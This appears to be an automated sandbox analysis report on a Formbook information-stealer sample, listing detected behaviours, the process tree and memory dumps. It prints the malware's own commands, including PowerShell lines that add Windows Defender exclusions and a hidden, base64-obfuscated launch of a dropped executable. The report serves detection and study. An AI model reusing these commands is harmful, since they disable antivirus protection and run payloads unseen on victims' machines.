Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/09/2026, 10:43
General
- Target 6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe
- Size 1.1MB
- Sample260910-msdrmsvxbz
- SHA256 6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 42 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 5 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe"C:\Users\Admin\AppData\Local\Temp\6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe"2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6fd53ae72adea774fa0bbdadcad880f0e171d1377c365c86a58232827828b66b.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ixmf22=Get-Date;$usttwp=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$vfejyd=[System.Environment]::TickCount;$n04r3v=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGJMLmV4ZQ==')));$vfejyd=[System.Environment]::TickCount;& $usttwp -FilePath $n04r3v"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\bL.exe"C:\Users\Admin\AppData\Roaming\bL.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bL.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\wusa.exe"C:\Windows\SysWOW64\wusa.exe"1⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"2⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_t1pgeeqy.oqn.ps1
bL.exe
memory/1036-30-0x0000026849950000-0x0000026849972000-memory.dmp
memory/1948-50-0x00000000043B0000-0x000000000447A000-memory.dmp
memory/2392-49-0x00000000004D0000-0x0000000000513000-memory.dmp
memory/2392-47-0x00000000004D0000-0x0000000000513000-memory.dmp
memory/3396-16-0x0000000000400000-0x0000000000446000-memory.dmp
memory/3396-48-0x00000000006A0000-0x00000000006E6000-memory.dmp
memory/3396-31-0x00000000006A0000-0x00000000006E6000-memory.dmp
memory/3396-23-0x0000000000BC0000-0x0000000000F34000-memory.dmp
memory/3396-17-0x00000000006A0000-0x00000000006E6000-memory.dmp
memory/4544-26-0x0000000005CE0000-0x0000000005CFE000-memory.dmp
memory/4544-43-0x00000000072D0000-0x0000000007366000-memory.dmp
memory/4544-14-0x0000000074540000-0x0000000074CFC000-memory.dmp
memory/4544-12-0x00000000024C0000-0x00000000024F6000-memory.dmp
memory/4544-15-0x0000000005010000-0x000000000565A000-memory.dmp
memory/4544-41-0x0000000007060000-0x000000000707A000-memory.dmp
memory/4544-21-0x0000000005710000-0x0000000005776000-memory.dmp
memory/4544-22-0x0000000005810000-0x0000000005876000-memory.dmp
memory/4544-20-0x0000000004F20000-0x0000000004F42000-memory.dmp
memory/4544-24-0x0000000005930000-0x0000000005C8B000-memory.dmp
memory/4544-40-0x00000000076A0000-0x0000000007D1C000-memory.dmp
memory/4544-39-0x0000000006F20000-0x0000000006FC3000-memory.dmp
memory/4544-38-0x0000000006EE0000-0x0000000006F00000-memory.dmp
memory/4544-27-0x0000000005DA0000-0x0000000005DEC000-memory.dmp
memory/4544-13-0x0000000074540000-0x0000000074CFC000-memory.dmp
memory/4544-46-0x0000000074540000-0x0000000074CFC000-memory.dmp
memory/4544-42-0x00000000070D0000-0x00000000070DA000-memory.dmp
memory/4544-34-0x0000000006EA0000-0x0000000006ED6000-memory.dmp
memory/4544-35-0x0000000074E20000-0x0000000074E6C000-memory.dmp
memory/4844-68-0x00000299369B0000-0x0000029936A86000-memory.dmp
memory/4996-54-0x0000000005FB0000-0x000000000630B000-memory.dmp
memory/4996-56-0x00000000064A0000-0x00000000064EC000-memory.dmp
memory/4996-57-0x0000000070720000-0x000000007076C000-memory.dmp
memory/4996-60-0x00000000076B0000-0x0000000007753000-memory.dmp
memory/6032-6-0x0000000074540000-0x0000000074CFC000-memory.dmp
memory/6032-7-0x0000000005980000-0x00000000059A4000-memory.dmp
memory/6032-5-0x0000000005750000-0x00000000057EC000-memory.dmp
memory/6032-8-0x0000000074552000-0x0000000074553000-memory.dmp
memory/6032-4-0x00000000055C0000-0x00000000055CA000-memory.dmp
memory/6032-3-0x00000000055E0000-0x0000000005672000-memory.dmp
memory/6032-2-0x0000000005AC0000-0x000000000607A000-memory.dmp
memory/6032-1-0x0000000000960000-0x0000000000A8A000-memory.dmp
memory/6032-9-0x0000000074540000-0x0000000074CFC000-memory.dmp
memory/6032-0-0x0000000074552000-0x0000000074553000-memory.dmp
memory/6032-25-0x0000000074540000-0x0000000074CFC000-memory.dmp
memory/6032-10-0x0000000074540000-0x0000000074CFC000-memory.dmp
memory/6032-11-0x0000000008440000-0x0000000008528000-memory.dmp